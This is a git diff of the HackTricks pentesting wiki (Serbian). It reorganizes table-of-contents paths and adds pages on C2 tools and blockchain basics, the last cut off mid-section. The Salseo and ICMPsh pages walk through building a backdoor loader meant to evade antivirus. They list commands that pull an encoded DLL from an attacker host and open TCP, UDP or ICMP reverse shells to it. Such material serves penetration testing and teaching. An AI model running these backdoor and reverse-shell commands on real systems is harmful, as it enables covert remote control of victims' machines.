* [Z3 - Satisfiability Modulo Theories (SMT)](reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md)
|
* [Z3 - Satisfiability Modulo Theories (SMT)](reversing-and-exploiting/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md)
|
||||||
* [Cheat Engine](reversing/reversing-tools-basic-methods/cheat-engine.md)
|
* [Cheat Engine](reversing-and-exploiting/reversing-tools-basic-methods/cheat-engine.md)
|
||||||
* [Blobrunner](reversing/reversing-tools-basic-methods/blobrunner.md)
|
* [Blobrunner](reversing-and-exploiting/reversing-tools-basic-methods/blobrunner.md)
|
||||||
* [Common API used in Malware](reversing/common-api-used-in-malware.md)
|
* [Common API used in Malware](reversing-and-exploiting/common-api-used-in-malware.md)
|
||||||
* [Word Macros](reversing/word-macros.md)
|
* [Word Macros](reversing-and-exploiting/word-macros.md)
|
||||||
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
|
* [Linux Exploiting (Basic) (SPA)](reversing-and-exploiting/linux-exploiting-basic-esp/README.md)
|
||||||
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
|
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
|
||||||
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
|
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
|
||||||
* [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
|
* [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
|
||||||
|
@ -727,47 +727,47 @@
|
||||||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||||
* [Common Exploiting Problems](reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md)
|
* [Common Exploiting Problems](reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md)
|
||||||
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
* [Fusion](reversing-and-exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||||
* [Exploiting Tools](exploiting/tools/README.md)
|
* [Exploiting Tools](reversing-and-exploiting/tools/README.md)
|
||||||
* [PwnTools](exploiting/tools/pwntools.md)
|
* [PwnTools](reversing-and-exploiting/tools/pwntools.md)
|
||||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
* [Windows Exploiting (Basic Guide - OSCP lvl)](reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||||
|
|
||||||
## 🔮 Crypto & Stego
|
## 🔮 Crypto & Stego
|
||||||
|
|
||||||
* [Cryptographic/Compression Algorithms](reversing/cryptographic-algorithms/README.md)
|
* [Cryptographic/Compression Algorithms](crypto-and-stego/cryptographic-algorithms/README.md)
|
||||||
* [Unpacking binaries](reversing/cryptographic-algorithms/unpacking-binaries.md)
|
* [Unpacking binaries](crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md)
|
||||||
* [Certificates](cryptography/certificates.md)
|
* [Certificates](crypto-and-stego/certificates.md)
|
||||||
* [Cipher Block Chaining CBC-MAC](cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
* [Cipher Block Chaining CBC-MAC](crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||||
* [Crypto CTFs Tricks](cryptography/crypto-ctfs-tricks.md)
|
* [Crypto CTFs Tricks](crypto-and-stego/crypto-ctfs-tricks.md)
|
||||||
* [Electronic Code Book (ECB)](cryptography/electronic-code-book-ecb.md)
|
* [Electronic Code Book (ECB)](crypto-and-stego/electronic-code-book-ecb.md)
|
||||||
* [Hash Length Extension Attack](cryptography/hash-length-extension-attack.md)
|
* [Hash Length Extension Attack](crypto-and-stego/hash-length-extension-attack.md)
|
||||||
* [Padding Oracle](cryptography/padding-oracle-priv.md)
|
* [Padding Oracle](crypto-and-stego/padding-oracle-priv.md)
|
||||||
* [RC4 - Encrypt\&Decrypt](cryptography/rc4-encrypt-and-decrypt.md)
|
* [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
|
||||||
* [Stego Tricks](stego/stego-tricks.md)
|
* [Stego Tricks](crypto-and-stego/stego-tricks.md)
|
||||||
* [Esoteric languages](stego/esoteric-languages.md)
|
* [Esoteric languages](crypto-and-stego/esoteric-languages.md)
|
||||||
* [Blockchain & Crypto Currencies](blockchain/blockchain-and-crypto-currencies/README.md)
|
* [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
|
||||||
|
|
||||||
## 🦂 C2
|
## 🦂 C2
|
||||||
|
|
||||||
* [Salseo](backdoors/salseo.md)
|
* [Salseo](c2/salseo.md)
|
||||||
* [ICMPsh](backdoors/icmpsh.md)
|
* [ICMPsh](c2/icmpsh.md)
|
||||||
* [Cobalt Strike](c2/cobalt-strike.md)
|
* [Cobalt Strike](c2/cobalt-strike.md)
|
||||||
|
|
||||||
## ✍️ TODO
|
## ✍️ TODO
|
||||||
|
|
||||||
* [Other Big References](misc/references.md)
|
* [Other Big References](todo/references.md)
|
||||||
* [Rust Basics](todo/rust-basics.md)
|
* [Rust Basics](todo/rust-basics.md)
|
||||||
* [More Tools](todo/more-tools.md)
|
* [More Tools](todo/more-tools.md)
|
||||||
* [MISC](todo/misc.md)
|
* [MISC](todo/misc.md)
|
||||||
* [Pentesting DNS](pentesting-dns.md)
|
* [Pentesting DNS](todo/pentesting-dns.md)
|
||||||
* [Hardware Hacking](todo/hardware-hacking/README.md)
|
* [Hardware Hacking](todo/hardware-hacking/README.md)
|
||||||
* [I2C](todo/hardware-hacking/i2c.md)
|
* [I2C](todo/hardware-hacking/i2c.md)
|
||||||
* [UART](todo/hardware-hacking/uart.md)
|
* [UART](todo/hardware-hacking/uart.md)
|
||||||
* [Radio](todo/hardware-hacking/radio.md)
|
* [Radio](todo/hardware-hacking/radio.md)
|
||||||
* [JTAG](todo/hardware-hacking/jtag.md)
|
* [JTAG](todo/hardware-hacking/jtag.md)
|
||||||
* [SPI](todo/hardware-hacking/spi.md)
|
* [SPI](todo/hardware-hacking/spi.md)
|
||||||
* [Radio Hacking](radio-hacking/README.md)
|
* [Radio Hacking](todo/radio-hacking/README.md)
|
||||||
* [Pentesting RFID](radio-hacking/pentesting-rfid.md)
|
* [Pentesting RFID](todo/radio-hacking/pentesting-rfid.md)
|
||||||
* [Infrared](todo/radio-hacking/infrared.md)
|
* [Infrared](todo/radio-hacking/infrared.md)
|
||||||
* [Sub-GHz RF](todo/radio-hacking/sub-ghz-rf.md)
|
* [Sub-GHz RF](todo/radio-hacking/sub-ghz-rf.md)
|
||||||
* [iButton](todo/radio-hacking/ibutton.md)
|
* [iButton](todo/radio-hacking/ibutton.md)
|
||||||
|
@ -779,16 +779,16 @@
|
||||||
* [FZ - 125kHz RFID](todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
|
* [FZ - 125kHz RFID](todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
|
||||||
* [Proxmark 3](todo/radio-hacking/proxmark-3.md)
|
* [Proxmark 3](todo/radio-hacking/proxmark-3.md)
|
||||||
* [FISSURE - The RF Framework](todo/radio-hacking/fissure-the-rf-framework.md)
|
* [FISSURE - The RF Framework](todo/radio-hacking/fissure-the-rf-framework.md)
|
||||||
* [Low-Power Wide Area Network](radio-hacking/low-power-wide-area-network.md)
|
* [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
|
||||||
* [Pentesting BLE - Bluetooth Low Energy](radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
* [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
||||||
* [Burp Suite](burp-suite.md)
|
* [Burp Suite](todo/burp-suite.md)
|
||||||
* [Other Web Tricks](other-web-tricks.md)
|
* [Other Web Tricks](todo/other-web-tricks.md)
|
||||||
* [Interesting HTTP](interesting-http.md)
|
* [Interesting HTTP](todo/interesting-http.md)
|
||||||
* [Emails Vulnerabilities](emails-vulns.md)
|
* [Emails Vulnerabilities](todo/emails-vulns.md)
|
||||||
* [Android Forensics](android-forensics.md)
|
* [Android Forensics](todo/android-forensics.md)
|
||||||
* [TR-069](todo/tr-069.md)
|
* [TR-069](todo/tr-069.md)
|
||||||
* [6881/udp - Pentesting BitTorrent](6881-udp-pentesting-bittorrent.md)
|
* [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)
|
||||||
* [Online Platforms with API](online-platforms-with-api.md)
|
* [Online Platforms with API](todo/online-platforms-with-api.md)
|
||||||
* [Stealing Sensitive Information Disclosure from a Web](stealing-sensitive-information-disclosure-from-a-web.md)
|
* [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
|
||||||
* [Post Exploitation](post-exploitation.md)
|
* [Post Exploitation](todo/post-exploitation.md)
|
||||||
* [Cookies Policy](todo/cookies-policy.md)
|
* [Cookies Policy](todo/cookies-policy.md)
|
||||||
|
|
50
c2/icmpsh.md
Normal file
50
c2/icmpsh.md
Normal file
|
@ -0,0 +1,50 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
Preuzmite backdoor sa: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||||
|
|
||||||
|
# Klijentska strana
|
||||||
|
|
||||||
|
Izvršite skriptu: **run.sh**
|
||||||
|
|
||||||
|
**Ako dobijete neku grešku, pokušajte da promenite linije:**
|
||||||
|
```bash
|
||||||
|
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
||||||
|
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
||||||
|
```
|
||||||
|
**Za:**
|
||||||
|
```bash
|
||||||
|
echo Please insert the IP where you want to listen
|
||||||
|
read IP
|
||||||
|
```
|
||||||
|
# **Strana žrtve**
|
||||||
|
|
||||||
|
Otpremite **icmpsh.exe** na žrtvu i izvršite:
|
||||||
|
```bash
|
||||||
|
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
184
c2/salseo.md
Normal file
184
c2/salseo.md
Normal file
|
@ -0,0 +1,184 @@
|
||||||
|
# Salseo
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Kompajliranje binarnih fajlova
|
||||||
|
|
||||||
|
Preuzmite izvorni kod sa github-a i kompajlirajte **EvilSalsa** i **SalseoLoader**. Trebaće vam **Visual Studio** instaliran da biste kompajlirali kod.
|
||||||
|
|
||||||
|
Kompajlirajte ove projekte za arhitekturu Windows sistema na kojem ćete ih koristiti (Ako Windows podržava x64, kompajlirajte ih za tu arhitekturu).
|
||||||
|
|
||||||
|
Možete **izabrati arhitekturu** unutar Visual Studio-a u **levom "Build" Tab-u** u **"Platform Target".**
|
||||||
|
|
||||||
|
(\*\*Ako ne možete pronaći ove opcije, pritisnite na **"Project Tab"** a zatim na **"\<Project Name> Properties"**)
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (132).png>)
|
||||||
|
|
||||||
|
Zatim, izgradite oba projekta (Build -> Build Solution) (Unutar logova će se pojaviti putanja izvršnog fajla):
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
## Priprema Backdoor-a
|
||||||
|
|
||||||
|
Prvo, trebaće vam da enkodujete **EvilSalsa.dll.** Da biste to uradili, možete koristiti python skriptu **encrypterassembly.py** ili možete kompajlirati projekat **EncrypterAssembly**:
|
||||||
|
|
||||||
|
### **Python**
|
||||||
|
```
|
||||||
|
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||||
|
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
||||||
|
```
|
||||||
|
### Windows
|
||||||
|
```
|
||||||
|
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||||
|
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||||
|
```
|
||||||
|
Sada imate sve što vam je potrebno da izvršite ceo Salseo postupak: **enkodirani EvilDalsa.dll** i **binarni fajl SalseoLoader.**
|
||||||
|
|
||||||
|
**Otpremite binarni fajl SalseoLoader.exe na mašinu. Ne bi trebalo da budu otkriveni od strane bilo kog AV...**
|
||||||
|
|
||||||
|
## **Izvršite backdoor**
|
||||||
|
|
||||||
|
### **Dobijanje TCP reverznog shell-a (preuzimanje enkodiranog dll-a putem HTTP-a)**
|
||||||
|
|
||||||
|
Zapamtite da pokrenete nc kao osluškivač reverznog shella i HTTP server da poslužuje enkodirani evilsalsa.
|
||||||
|
```
|
||||||
|
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||||
|
```
|
||||||
|
### **Dobijanje UDP obrnutog školjka (preuzimanje enkodovanog dll-a preko SMB-a)**
|
||||||
|
|
||||||
|
Zapamtite da treba pokrenuti nc kao osluškivač obrnutog školjka, i SMB server da služi enkodovani evilsalsa (impacket-smbserver).
|
||||||
|
```
|
||||||
|
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||||
|
```
|
||||||
|
### **Dobijanje ICMP reverse shell (enkodirani dll već unutar žrtve)**
|
||||||
|
|
||||||
|
**Ovog puta vam je potreban poseban alat na klijentu da primi reverse shell. Preuzmite:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||||
|
|
||||||
|
#### **Onemogućavanje ICMP odgovora:**
|
||||||
|
```
|
||||||
|
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||||
|
|
||||||
|
#You finish, you can enable it again running:
|
||||||
|
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||||
|
```
|
||||||
|
#### Izvršite klijenta:
|
||||||
|
```
|
||||||
|
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||||
|
```
|
||||||
|
#### Unutar žrtve, izvršimo salseo stvar:
|
||||||
|
```
|
||||||
|
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||||
|
```
|
||||||
|
## Kompajliranje SalseoLoader-a kao DLL izvođenjem glavne funkcije
|
||||||
|
|
||||||
|
Otvorite projekat SalseoLoader koristeći Visual Studio.
|
||||||
|
|
||||||
|
### Dodajte pre glavne funkcije: \[DllExport]
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
### Instalirajte DllExport za ovaj projekat
|
||||||
|
|
||||||
|
#### **Alati** --> **NuGet Package Manager** --> **Upravljanje NuGet paketima za rešenje...**
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
#### **Pretražite DllExport paket (koristeći karticu Pretraži) i pritisnite Instaliraj (i prihvatite iskačući prozor)**
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
U vašem projekt folderu pojavili su se fajlovi: **DllExport.bat** i **DllExport\_Configure.bat**
|
||||||
|
|
||||||
|
### **De**instalirajte DllExport
|
||||||
|
|
||||||
|
Pritisnite **Deinstaliraj** (da, čudno je, ali verujte mi, neophodno je)
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
|
||||||
|
|
||||||
|
### **Izađite iz Visual Studio-a i izvršite DllExport\_configure**
|
||||||
|
|
||||||
|
Jednostavno **izađite** iz Visual Studio-a
|
||||||
|
|
||||||
|
Zatim, idite u vaš **SalseoLoader folder** i **izvršite DllExport\_Configure.bat**
|
||||||
|
|
||||||
|
Izaberite **x64** (ako ćete ga koristiti unutar x64 okvira, to je bio moj slučaj), izaberite **System.Runtime.InteropServices** (unutar **Namespace for DllExport**) i pritisnite **Primeni**
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
### **Otvorite projekat ponovo sa Visual Studio-om**
|
||||||
|
|
||||||
|
**\[DllExport]** više ne bi trebalo da bude označen kao greška
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (8) (1).png>)
|
||||||
|
|
||||||
|
### Izgradite rešenje
|
||||||
|
|
||||||
|
Izaberite **Tip izlaza = Biblioteka klasa** (Projekat --> SalseoLoader Properties --> Application --> Tip izlaza = Biblioteka klasa)
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (10) (1).png>)
|
||||||
|
|
||||||
|
Izaberite **x64 platformu** (Projekat --> SalseoLoader Properties --> Build --> Ciljna platforma = x64)
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||||
|
|
||||||
|
Da biste **izgradili** rešenje: Build --> Izgradi rešenje (Unutar konzole za izlaz pojaviće se putanja nove DLL datoteke)
|
||||||
|
|
||||||
|
### Testirajte generisanu Dll
|
||||||
|
|
||||||
|
Kopirajte i nalepite Dll gde želite da je testirate.
|
||||||
|
|
||||||
|
Izvršite:
|
||||||
|
```
|
||||||
|
rundll32.exe SalseoLoader.dll,main
|
||||||
|
```
|
||||||
|
Ako se ne pojavi greška, verovatno imate funkcionalnu DLL!!
|
||||||
|
|
||||||
|
## Dobijanje shell-a korišćenjem DLL-a
|
||||||
|
|
||||||
|
Ne zaboravite da koristite **HTTP server** i postavite **nc listener**
|
||||||
|
|
||||||
|
### Powershell
|
||||||
|
```
|
||||||
|
$env:pass="password"
|
||||||
|
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
|
||||||
|
$env:lhost="10.2.0.5"
|
||||||
|
$env:lport="1337"
|
||||||
|
$env:shell="reversetcp"
|
||||||
|
rundll32.exe SalseoLoader.dll,main
|
||||||
|
```
|
||||||
|
### CMD
|
||||||
|
|
||||||
|
### Командна линија
|
||||||
|
```
|
||||||
|
set pass=password
|
||||||
|
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||||
|
set lhost=10.2.0.5
|
||||||
|
set lport=1337
|
||||||
|
set shell=reversetcp
|
||||||
|
rundll32.exe SalseoLoader.dll,main
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini da podržite HackTricks:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
206
crypto-and-stego/blockchain-and-crypto-currencies.md
Normal file
206
crypto-and-stego/blockchain-and-crypto-currencies.md
Normal file
|
@ -0,0 +1,206 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
## Osnovni Koncepti
|
||||||
|
|
||||||
|
- **Pametni ugovori** se definišu kao programi koji se izvršavaju na blockchain-u kada se ispune određeni uslovi, automatizujući izvršenje sporazuma bez posrednika.
|
||||||
|
- **Decentralizovane aplikacije (dApps)** se grade na pametnim ugovorima, sa korisničkim interfejsom koji je prijateljski nastrojen i transparentnim, proverljivim backend-om.
|
||||||
|
- **Tokeni & Kriptovalute** se razlikuju gde kriptovalute služe kao digitalni novac, dok tokeni predstavljaju vrednost ili vlasništvo u određenim kontekstima.
|
||||||
|
- **Utility Tokeni** omogućavaju pristup uslugama, a **Security Tokeni** označavaju vlasništvo nad imovinom.
|
||||||
|
- **DeFi** označava Decentralizovanu Finansiju, koja nudi finansijske usluge bez centralnih autoriteta.
|
||||||
|
- **DEX** i **DAO** se odnose na Decentralizovane Platforme za Razmenu i Decentralizovane Autonomne Organizacije, redom.
|
||||||
|
|
||||||
|
## Mekanizmi Konsenzusa
|
||||||
|
|
||||||
|
Mekanizmi konsenzusa obezbeđuju sigurnu i dogovorenu validaciju transakcija na blockchain-u:
|
||||||
|
- **Proof of Work (PoW)** se oslanja na računarsku snagu za verifikaciju transakcija.
|
||||||
|
- **Proof of Stake (PoS)** zahteva od validatora da poseduju određenu količinu tokena, smanjujući potrošnju energije u poređenju sa PoW-om.
|
||||||
|
|
||||||
|
## Osnove Bitkoina
|
||||||
|
|
||||||
|
### Transakcije
|
||||||
|
|
||||||
|
Bitkoin transakcije uključuju prenos sredstava između adresa. Transakcije se validiraju putem digitalnih potpisa, obezbeđujući da samo vlasnik privatnog ključa može pokrenuti prenose.
|
||||||
|
|
||||||
|
#### Ključni Elementi:
|
||||||
|
|
||||||
|
- **Multisignature Transakcije** zahtevaju više potpisa za autorizaciju transakcije.
|
||||||
|
- Transakcije se sastoje od **ulaza** (izvor sredstava), **izlaza** (odredište), **naknade** (plaćene rudarima) i **skripti** (pravila transakcije).
|
||||||
|
|
||||||
|
### Lightning Mreža
|
||||||
|
|
||||||
|
Cilj je poboljšati skalabilnost Bitkoina omogućavajući više transakcija unutar kanala, pri čemu se samo konačno stanje emituje na blockchain.
|
||||||
|
|
||||||
|
## Problemi Privatnosti Bitkoina
|
||||||
|
|
||||||
|
Napadi na privatnost, poput **Zajedničkog Vlasništva Ulaza** i **Detekcije Adrese za Promenu UTXO**, iskorišćavaju obrasce transakcija. Strategije poput **Miksera** i **CoinJoin-a** poboljšavaju anonimnost tako što zamagljuju veze između transakcija između korisnika.
|
||||||
|
|
||||||
|
## Anonimno Nabavljanje Bitkoina
|
||||||
|
|
||||||
|
Metode uključuju gotovinske razmene, rudarenje i korišćenje miksera. **CoinJoin** meša više transakcija kako bi otežao praćenje, dok **PayJoin** prikriva CoinJoin kao redovne transakcije za povećanu privatnost.
|
||||||
|
|
||||||
|
|
||||||
|
# Napadi na Privatnost Bitkoina
|
||||||
|
|
||||||
|
# Rezime Napada na Privatnost Bitkoina
|
||||||
|
|
||||||
|
U svetu Bitkoina, privatnost transakcija i anonimnost korisnika često su predmet zabrinutosti. Evo pojednostavljenog pregleda nekoliko uobičajenih metoda putem kojih napadači mogu ugroziti privatnost Bitkoina.
|
||||||
|
|
||||||
|
## **Pretpostavka o Zajedničkom Vlasništvu Ulaza**
|
||||||
|
|
||||||
|
Uobičajeno je da se ulazi različitih korisnika retko kombinuju u jednoj transakciji zbog složenosti. Stoga, **dve adrese ulaza u istoj transakciji često se smatraju da pripadaju istom vlasniku**.
|
||||||
|
|
||||||
|
## **Detekcija Adrese za Promenu UTXO**
|
||||||
|
|
||||||
|
